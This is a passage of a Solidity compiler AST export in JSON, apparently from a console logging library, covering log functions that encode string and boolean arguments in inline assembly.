5748:3:22","nodeType":"YulIdentifier","src":"335748:3:22"},{"kind":"number","nativeSrc":"335753:4:22","nodeType":"YulLiteral","src":"335753:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"335744:3:22","nodeType":"YulIdentifier","src":"335744:3:22"},"nativeSrc":"335744:14:22","nodeType":"YulFunctionCall","src":"335744:14:22"},{"arguments":[{"name":"shift","nativeSrc":"335764:5:22","nodeType":"YulIdentifier","src":"335764:5:22"},{"arguments":[{"name":"shift","nativeSrc":"335775:5:22","nodeType":"YulIdentifier","src":"335775:5:22"},{"name":"w","nativeSrc":"335782:1:22","nodeType":"YulIdentifier","src":"335782:1:22"}],"functionName":{"name":"shr","nativeSrc":"335771:3:22","nodeType":"YulIdentifier","src":"335771:3:22"},"nativeSrc":"335771:13:22","nodeType":"YulFunctionCall","src":"335771:13:22"}],"functionName":{"name":"shl","nativeSrc":"335760:3:22","nodeType":"YulIdentifier","src":"335760:3:22"},"nativeSrc":"335760:25:22","nodeType":"YulFunctionCall","src":"335760:25:22"}],"functionName":{"name":"mstore","nativeSrc":"335737:6:22","nodeType":"YulIdentifier","src":"335737:6:22"},"nativeSrc":"335737:49:22","nodeType":"YulFunctionCall","src":"335737:49:22"},"nativeSrc":"335737:49:22","nodeType":"YulExpressionStatement","src":"335737:49:22"}]},"name":"writeString","nativeSrc":"335458:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"335479:3:22","nodeType":"YulTypedName","src":"335479:3:22","type":""},{"name":"w","nativeSrc":"335484:1:22","nodeType":"YulTypedName","src":"335484:1:22","type":""}],"src":"335458:342:22"},{"nativeSrc":"335813:17:22","nodeType":"YulAssignment","src":"335813:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"335825:4:22","nodeType":"YulLiteral","src":"335825:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"335819:5:22","nodeType":"YulIdentifier","src":"335819:5:22"},"nativeSrc":"335819:11:22","nodeType":"YulFunctionCall","src":"335819:11:22"},"variableNames":[{"name":"m0","nativeSrc":"335813:2:22","nodeType":"YulIdentifier","src":"335813:2:22"}]},{"nativeSrc":"335843:17:22","nodeType":"YulAssignment","src":"335843:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"335855:4:22","nodeType":"YulLiteral","src":"335855:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"335849:5:22","nodeType":"YulIdentifier","src":"335849:5:22"},"nativeSrc":"335849:11:22","nodeType":"YulFunctionCall","src":"335849:11:22"},"variableNames":[{"name":"m1","nativeSrc":"335843:2:22","nodeType":"YulIdentifier","src":"335843:2:22"}]},{"nativeSrc":"335873:17:22","nodeType":"YulAssignment","src":"335873:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"335885:4:22","nodeType":"YulLiteral","src":"335885:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"335879:5:22","nodeType":"YulIdentifier","src":"335879:5:22"},"nativeSrc":"335879:11:22","nodeType":"YulFunctionCall","src":"335879:11:22"},"variableNames":[{"name":"m2","nativeSrc":"335873:2:22","nodeType":"YulIdentifier","src":"335873:2:22"}]},{"nativeSrc":"335903:17:22","nodeType":"YulAssignment","src":"335903:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"335915:4:22","nodeType":"YulLiteral","src":"335915:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"335909:5:22","nodeType":"YulIdentifier","src":"335909:5:22"},"nativeSrc":"335909:11:22","nodeType":"YulFunctionCall","src":"335909:11:22"},"variableNames":[{"name":"m3","nativeSrc":"335903:2:22","nodeType":"YulIdentifier","src":"335903:2:22"}]},{"nativeSrc":"335933:17:22","nodeType":"YulAssignment","src":"335933:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"335945:4:22","nodeType":"YulLiteral","src":"335945:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"335939:5:22","nodeType":"YulIdentifier","src":"335939:5:22"},"nativeSrc":"335939:11:22","nodeType":"YulFunctionCall","src":"335939:11:22"},"variableNames":[{"name":"m4","nativeSrc":"335933:2:22","nodeType":"YulIdentifier","src":"335933:2:22"}]},{"nativeSrc":"335963:17:22","nodeType":"YulAssignment","src":"335963:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"335975:4:22","nodeType":"YulLiteral","src":"335975:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"335969:5:22","nodeType":"YulIdentifier","src":"335969:5:22"},"nativeSrc":"335969:11:22","nodeType":"YulFunctionCall","src":"335969:11:22"},"variableNames":[{"name":"m5","nativeSrc":"335963:2:22","nodeType":"YulIdentifier","src":"335963:2:22"}]},{"nativeSrc":"335993:17:22","nodeType":"YulAssignment","src":"335993:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"336005:4:22","nodeType":"YulLiteral","src":"336005:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"335999:5:22","nodeType":"YulIdentifier","src":"335999:5:22"},"nativeSrc":"335999:11:22","nodeType":"YulFunctionCall","src":"335999:11:22"},"variableNames":[{"name":"m6","nativeSrc":"335993:2:22","nodeType":"YulIdentifier","src":"335993:2:22"}]},{"nativeSrc":"336023:17:22","nodeType":"YulAssignment","src":"336023:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"336035:4:22","nodeType":"YulLiteral","src":"336035:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"336029:5:22","nodeType":"YulIdentifier","src":"336029:5:22"},"nativeSrc":"336029:11:22","nodeType":"YulFunctionCall","src":"336029:11:22"},"variableNames":[{"name":"m7","nativeSrc":"336023:2:22","nodeType":"YulIdentifier","src":"336023:2:22"}]},{"nativeSrc":"336053:18:22","nodeType":"YulAssignment","src":"336053:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"336065:5:22","nodeType":"YulLiteral","src":"336065:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"336059:5:22","nodeType":"YulIdentifier","src":"336059:5:22"},"nativeSrc":"336059:12:22","nodeType":"YulFunctionCall","src":"336059:12:22"},"variableNames":[{"name":"m8","nativeSrc":"336053:2:22","nodeType":"YulIdentifier","src":"336053:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336150:4:22","nodeType":"YulLiteral","src":"336150:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"336156:10:22","nodeType":"YulLiteral","src":"336156:10:22","type":"","value":"0x9d22d5dd"}],"functionName":{"name":"mstore","nativeSrc":"336143:6:22","nodeType":"YulIdentifier","src":"336143:6:22"},"nativeSrc":"336143:24:22","nodeType":"YulFunctionCall","src":"336143:24:22"},"nativeSrc":"336143:24:22","nodeType":"YulExpressionStatement","src":"336143:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336187:4:22","nodeType":"YulLiteral","src":"336187:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"336193:4:22","nodeType":"YulLiteral","src":"336193:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"336180:6:22","nodeType":"YulIdentifier","src":"336180:6:22"},"nativeSrc":"336180:18:22","nodeType":"YulFunctionCall","src":"336180:18:22"},"nativeSrc":"336180:18:22","nodeType":"YulExpressionStatement","src":"336180:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336218:4:22","nodeType":"YulLiteral","src":"336218:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"336224:2:22","nodeType":"YulIdentifier","src":"336224:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336211:6:22","nodeType":"YulIdentifier","src":"336211:6:22"},"nativeSrc":"336211:16:22","nodeType":"YulFunctionCall","src":"336211:16:22"},"nativeSrc":"336211:16:22","nodeType":"YulExpressionStatement","src":"336211:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336247:4:22","nodeType":"YulLiteral","src":"336247:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"336253:2:22","nodeType":"YulIdentifier","src":"336253:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336240:6:22","nodeType":"YulIdentifier","src":"336240:6:22"},"nativeSrc":"336240:16:22","nodeType":"YulFunctionCall","src":"336240:16:22"},"nativeSrc":"336240:16:22","nodeType":"YulExpressionStatement","src":"336240:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336276:4:22","nodeType":"YulLiteral","src":"336276:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"336282:4:22","nodeType":"YulLiteral","src":"336282:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"336269:6:22","nodeType":"YulIdentifier","src":"336269:6:22"},"nativeSrc":"336269:18:22","nodeType":"YulFunctionCall","src":"336269:18:22"},"nativeSrc":"336269:18:22","nodeType":"YulExpressionStatement","src":"336269:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336312:4:22","nodeType":"YulLiteral","src":"336312:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"336318:2:22","nodeType":"YulIdentifier","src":"336318:2:22"}],"functionName":{"name":"writeString","nativeSrc":"336300:11:22","nodeType":"YulIdentifier","src":"336300:11:22"},"nativeSrc":"336300:21:22","nodeType":"YulFunctionCall","src":"336300:21:22"},"nativeSrc":"336300:21:22","nodeType":"YulExpressionStatement","src":"336300:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336346:4:22","nodeType":"YulLiteral","src":"336346:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"336352:2:22","nodeType":"YulIdentifier","src":"336352:2:22"}],"functionName":{"name":"writeString","nativeSrc":"336334:11:22","nodeType":"YulIdentifier","src":"336334:11:22"},"nativeSrc":"336334:21:22","nodeType":"YulFunctionCall","src":"336334:21:22"},"nativeSrc":"336334:21:22","nodeType":"YulExpressionStatement","src":"336334:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44724,"isOffset":false,"isSlot":false,"src":"335813:2:22","valueSize":1},{"declaration":44727,"isOffset":false,"isSlot":false,"src":"335843:2:22","valueSize":1},{"declaration":44730,"isOffset":false,"isSlot":false,"src":"335873:2:22","valueSize":1},{"declaration":44733,"isOffset":false,"isSlot":false,"src":"335903:2:22","valueSize":1},{"declaration":44736,"isOffset":false,"isSlot":false,"src":"335933:2:22","valueSize":1},{"declaration":44739,"isOffset":false,"isSlot":false,"src":"335963:2:22","valueSize":1},{"declaration":44742,"isOffset":false,"isSlot":false,"src":"335993:2:22","valueSize":1},{"declaration":44745,"isOffset":false,"isSlot":false,"src":"336023:2:22","valueSize":1},{"declaration":44748,"isOffset":false,"isSlot":false,"src":"336053:2:22","valueSize":1},{"declaration":44714,"isOffset":false,"isSlot":false,"src":"336318:2:22","valueSize":1},{"declaration":44716,"isOffset":false,"isSlot":false,"src":"336224:2:22","valueSize":1},{"declaration":44718,"isOffset":false,"isSlot":false,"src":"336253:2:22","valueSize":1},{"declaration":44720,"isOffset":false,"isSlot":false,"src":"336352:2:22","valueSize":1}],"id":44750,"nodeType":"InlineAssembly","src":"335435:930:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44752,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"336390:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44753,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"336396:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44751,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"336374:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"336374:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44755,"nodeType":"ExpressionStatement","src":"336374:28:22"},{"AST":{"nativeSrc":"336421:273:22","nodeType":"YulBlock","src":"336421:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"336442:4:22","nodeType":"YulLiteral","src":"336442:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"336448:2:22","nodeType":"YulIdentifier","src":"336448:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336435:6:22","nodeType":"YulIdentifier","src":"336435:6:22"},"nativeSrc":"336435:16:22","nodeType":"YulFunctionCall","src":"336435:16:22"},"nativeSrc":"336435:16:22","nodeType":"YulExpressionStatement","src":"336435:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336471:4:22","nodeType":"YulLiteral","src":"336471:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"336477:2:22","nodeType":"YulIdentifier","src":"336477:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336464:6:22","nodeType":"YulIdentifier","src":"336464:6:22"},"nativeSrc":"336464:16:22","nodeType":"YulFunctionCall","src":"336464:16:22"},"nativeSrc":"336464:16:22","nodeType":"YulExpressionStatement","src":"336464:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336500:4:22","nodeType":"YulLiteral","src":"336500:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"336506:2:22","nodeType":"YulIdentifier","src":"336506:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336493:6:22","nodeType":"YulIdentifier","src":"336493:6:22"},"nativeSrc":"336493:16:22","nodeType":"YulFunctionCall","src":"336493:16:22"},"nativeSrc":"336493:16:22","nodeType":"YulExpressionStatement","src":"336493:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336529:4:22","nodeType":"YulLiteral","src":"336529:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"336535:2:22","nodeType":"YulIdentifier","src":"336535:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336522:6:22","nodeType":"YulIdentifier","src":"336522:6:22"},"nativeSrc":"336522:16:22","nodeType":"YulFunctionCall","src":"336522:16:22"},"nativeSrc":"336522:16:22","nodeType":"YulExpressionStatement","src":"336522:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336558:4:22","nodeType":"YulLiteral","src":"336558:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"336564:2:22","nodeType":"YulIdentifier","src":"336564:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336551:6:22","nodeType":"YulIdentifier","src":"336551:6:22"},"nativeSrc":"336551:16:22","nodeType":"YulFunctionCall","src":"336551:16:22"},"nativeSrc":"336551:16:22","nodeType":"YulExpressionStatement","src":"336551:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336587:4:22","nodeType":"YulLiteral","src":"336587:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"336593:2:22","nodeType":"YulIdentifier","src":"336593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336580:6:22","nodeType":"YulIdentifier","src":"336580:6:22"},"nativeSrc":"336580:16:22","nodeType":"YulFunctionCall","src":"336580:16:22"},"nativeSrc":"336580:16:22","nodeType":"YulExpressionStatement","src":"336580:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336616:4:22","nodeType":"YulLiteral","src":"336616:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"336622:2:22","nodeType":"YulIdentifier","src":"336622:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336609:6:22","nodeType":"YulIdentifier","src":"336609:6:22"},"nativeSrc":"336609:16:22","nodeType":"YulFunctionCall","src":"336609:16:22"},"nativeSrc":"336609:16:22","nodeType":"YulExpressionStatement","src":"336609:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336645:4:22","nodeType":"YulLiteral","src":"336645:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"336651:2:22","nodeType":"YulIdentifier","src":"336651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336638:6:22","nodeType":"YulIdentifier","src":"336638:6:22"},"nativeSrc":"336638:16:22","nodeType":"YulFunctionCall","src":"336638:16:22"},"nativeSrc":"336638:16:22","nodeType":"YulExpressionStatement","src":"336638:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"336674:5:22","nodeType":"YulLiteral","src":"336674:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"336681:2:22","nodeType":"YulIdentifier","src":"336681:2:22"}],"functionName":{"name":"mstore","nativeSrc":"336667:6:22","nodeType":"YulIdentifier","src":"336667:6:22"},"nativeSrc":"336667:17:22","nodeType":"YulFunctionCall","src":"336667:17:22"},"nativeSrc":"336667:17:22","nodeType":"YulExpressionStatement","src":"336667:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44724,"isOffset":false,"isSlot":false,"src":"336448:2:22","valueSize":1},{"declaration":44727,"isOffset":false,"isSlot":false,"src":"336477:2:22","valueSize":1},{"declaration":44730,"isOffset":false,"isSlot":false,"src":"336506:2:22","valueSize":1},{"declaration":44733,"isOffset":false,"isSlot":false,"src":"336535:2:22","valueSize":1},{"declaration":44736,"isOffset":false,"isSlot":false,"src":"336564:2:22","valueSize":1},{"declaration":44739,"isOffset":false,"isSlot":false,"src":"336593:2:22","valueSize":1},{"declaration":44742,"isOffset":false,"isSlot":false,"src":"336622:2:22","valueSize":1},{"declaration":44745,"isOffset":false,"isSlot":false,"src":"336651:2:22","valueSize":1},{"declaration":44748,"isOffset":false,"isSlot":false,"src":"336681:2:22","valueSize":1}],"id":44756,"nodeType":"InlineAssembly","src":"336412:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"335185:3:22","parameters":{"id":44721,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44714,"mutability":"mutable","name":"p0","nameLocation":"335197:2:22","nodeType":"VariableDeclaration","scope":44758,"src":"335189:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44713,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335189:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44716,"mutability":"mutable","name":"p1","nameLocation":"335206:2:22","nodeType":"VariableDeclaration","scope":44758,"src":"335201:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44715,"name":"bool","nodeType":"ElementaryTypeName","src":"335201:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44718,"mutability":"mutable","name":"p2","nameLocation":"335215:2:22","nodeType":"VariableDeclaration","scope":44758,"src":"335210:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44717,"name":"bool","nodeType":"ElementaryTypeName","src":"335210:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44720,"mutability":"mutable","name":"p3","nameLocation":"335227:2:22","nodeType":"VariableDeclaration","scope":44758,"src":"335219:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44719,"name":"bytes32","nodeType":"ElementaryTypeName","src":"335219:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"335188:42:22"},"returnParameters":{"id":44722,"nodeType":"ParameterList","parameters":[],"src":"335245:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44798,"nodeType":"FunctionDefinition","src":"336706:1334:22","nodes":[],"body":{"id":44797,"nodeType":"Block","src":"336778:1262:22","nodes":[],"statements":[{"assignments":[44770],"declarations":[{"constant":false,"id":44770,"mutability":"mutable","name":"m0","nameLocation":"336796:2:22","nodeType":"VariableDeclaration","scope":44797,"src":"336788:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44769,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336788:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44771,"nodeType":"VariableDeclarationStatement","src":"336788:10:22"},{"assignments":[44773],"declarations":[{"constant":false,"id":44773,"mutability":"mutable","name":"m1","nameLocation":"336816:2:22","nodeType":"VariableDeclaration","scope":44797,"src":"336808:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44772,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336808:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44774,"nodeType":"VariableDeclarationStatement","src":"336808:10:22"},{"assignments":[44776],"declarations":[{"constant":false,"id":44776,"mutability":"mutable","name":"m2","nameLocation":"336836:2:22","nodeType":"VariableDeclaration","scope":44797,"src":"336828:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44775,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336828:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44777,"nodeType":"VariableDeclarationStatement","src":"336828:10:22"},{"assignments":[44779],"declarations":[{"constant":false,"id":44779,"mutability":"mutable","name":"m3","nameLocation":"336856:2:22","nodeType":"VariableDeclaration","scope":44797,"src":"336848:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44778,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336848:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44780,"nodeType":"VariableDeclarationStatement","src":"336848:10:22"},{"assignments":[44782],"declarations":[{"constant":false,"id":44782,"mutability":"mutable","name":"m4","nameLocation":"336876:2:22","nodeType":"VariableDeclaration","scope":44797,"src":"336868:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44781,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336868:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44783,"nodeType":"VariableDeclarationStatement","src":"336868:10:22"},{"assignments":[44785],"declarations":[{"constant":false,"id":44785,"mutability":"mutable","name":"m5","nameLocation":"336896:2:22","nodeType":"VariableDeclaration","scope":44797,"src":"336888:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44784,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336888:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44786,"nodeType":"VariableDeclarationStatement","src":"336888:10:22"},{"assignments":[44788],"declarations":[{"constant":false,"id":44788,"mutability":"mutable","name":"m6","nameLocation":"336916:2:22","nodeType":"VariableDeclaration","scope":44797,"src":"336908:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44787,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336908:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44789,"nodeType":"VariableDeclarationStatement","src":"336908:10:22"},{"AST":{"nativeSrc":"336937:828:22","nodeType":"YulBlock","src":"336937:828:22","statements":[{"body":{"nativeSrc":"336980:313:22","nodeType":"YulBlock","src":"336980:313:22","statements":[{"nativeSrc":"336998:15:22","nodeType":"YulVariableDeclaration","src":"336998:15:22","value":{"kind":"number","nativeSrc":"337012:1:22","nodeType":"YulLiteral","src":"337012:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"337002:6:22","nodeType":"YulTypedName","src":"337002:6:22","type":""}]},{"body":{"nativeSrc":"337083:40:22","nodeType":"YulBlock","src":"337083:40:22","statements":[{"body":{"nativeSrc":"337112:9:22","nodeType":"YulBlock","src":"337112:9:22","statements":[{"nativeSrc":"337114:5:22","nodeType":"YulBreak","src":"337114:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"337100:6:22","nodeType":"YulIdentifier","src":"337100:6:22"},{"name":"w","nativeSrc":"337108:1:22","nodeType":"YulIdentifier","src":"337108:1:22"}],"functionName":{"name":"byte","nativeSrc":"337095:4:22","nodeType":"YulIdentifier","src":"337095:4:22"},"nativeSrc":"337095:15:22","nodeType":"YulFunctionCall","src":"337095:15:22"}],"functionName":{"name":"iszero","nativeSrc":"337088:6:22","nodeType":"YulIdentifier","src":"337088:6:22"},"nativeSrc":"337088:23:22","nodeType":"YulFunctionCall","src":"337088:23:22"},"nativeSrc":"337085:36:22","nodeType":"YulIf","src":"337085:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"337040:6:22","nodeType":"YulIdentifier","src":"337040:6:22"},{"kind":"number","nativeSrc":"337048:4:22","nodeType":"YulLiteral","src":"337048:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"337037:2:22","nodeType":"YulIdentifier","src":"337037:2:22"},"nativeSrc":"337037:16:22","nodeType":"YulFunctionCall","src":"337037:16:22"},"nativeSrc":"337030:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"337054:28:22","nodeType":"YulBlock","src":"337054:28:22","statements":[{"nativeSrc":"337056:24:22","nodeType":"YulAssignment","src":"337056:24:22","value":{"arguments":[{"name":"length","nativeSrc":"337070:6:22","nodeType":"YulIdentifier","src":"337070:6:22"},{"kind":"number","nativeSrc":"337078:1:22","nodeType":"YulLiteral","src":"337078:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"337066:3:22","nodeType":"YulIdentifier","src":"337066:3:22"},"nativeSrc":"337066:14:22","nodeType":"YulFunctionCall","src":"337066:14:22"},"variableNames":[{"name":"length","nativeSrc":"337056:6:22","nodeType":"YulIdentifier","src":"337056:6:22"}]}]},"pre":{"nativeSrc":"337034:2:22","nodeType":"YulBlock","src":"337034:2:22","statements":[]},"src":"337030:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"337147:3:22","nodeType":"YulIdentifier","src":"337147:3:22"},{"name":"length","nativeSrc":"337152:6:22","nodeType":"YulIdentifier","src":"337152:6:22"}],"functionName":{"name":"mstore","nativeSrc":"337140:6:22","nodeType":"YulIdentifier","src":"337140:6:22"},"nativeSrc":"337140:19:22","nodeType":"YulFunctionCall","src":"337140:19:22"},"nativeSrc":"337140:19:22","nodeType":"YulExpressionStatement","src":"337140:19:22"},{"nativeSrc":"337176:37:22","nodeType":"YulVariableDeclaration","src":"337176:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"337193:3:22","nodeType":"YulLiteral","src":"337193:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"337202:1:22","nodeType":"YulLiteral","src":"337202:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"337205:6:22","nodeType":"YulIdentifier","src":"337205:6:22"}],"functionName":{"name":"shl","nativeSrc":"337198:3:22","nodeType":"YulIdentifier","src":"337198:3:22"},"nativeSrc":"337198:14:22","nodeType":"YulFunctionCall","src":"337198:14:22"}],"functionName":{"name":"sub","nativeSrc":"337189:3:22","nodeType":"YulIdentifier","src":"337189:3:22"},"nativeSrc":"337189:24:22","nodeType":"YulFunctionCall","src":"337189:24:22"},"variables":[{"name":"shift","nativeSrc":"337180:5:22","nodeType":"YulTypedName","src":"337180:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"337241:3:22","nodeType":"YulIdentifier","src":"337241:3:22"},{"kind":"number","nativeSrc":"337246:4:22","nodeType":"YulLiteral","src":"337246:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"337237:3:22","nodeType":"YulIdentifier","src":"337237:3:22"},"nativeSrc":"337237:14:22","nodeType":"YulFunctionCall","src":"337237:14:22"},{"arguments":[{"name":"shift","nativeSrc":"337257:5:22","nodeType":"YulIdentifier","src":"337257:5:22"},{"arguments":[{"name":"shift","nativeSrc":"337268:5:22","nodeType":"YulIdentifier","src":"337268:5:22"},{"name":"w","nativeSrc":"337275:1:22","nodeType":"YulIdentifier","src":"337275:1:22"}],"functionName":{"name":"shr","nativeSrc":"337264:3:22","nodeType":"YulIdentifier","src":"337264:3:22"},"nativeSrc":"337264:13:22","nodeType":"YulFunctionCall","src":"337264:13:22"}],"functionName":{"name":"shl","nativeSrc":"337253:3:22","nodeType":"YulIdentifier","src":"337253:3:22"},"nativeSrc":"337253:25:22","nodeType":"YulFunctionCall","src":"337253:25:22"}],"functionName":{"name":"mstore","nativeSrc":"337230:6:22","nodeType":"YulIdentifier","src":"337230:6:22"},"nativeSrc":"337230:49:22","nodeType":"YulFunctionCall","src":"337230:49:22"},"nativeSrc":"337230:49:22","nodeType":"YulExpressionStatement","src":"337230:49:22"}]},"name":"writeStr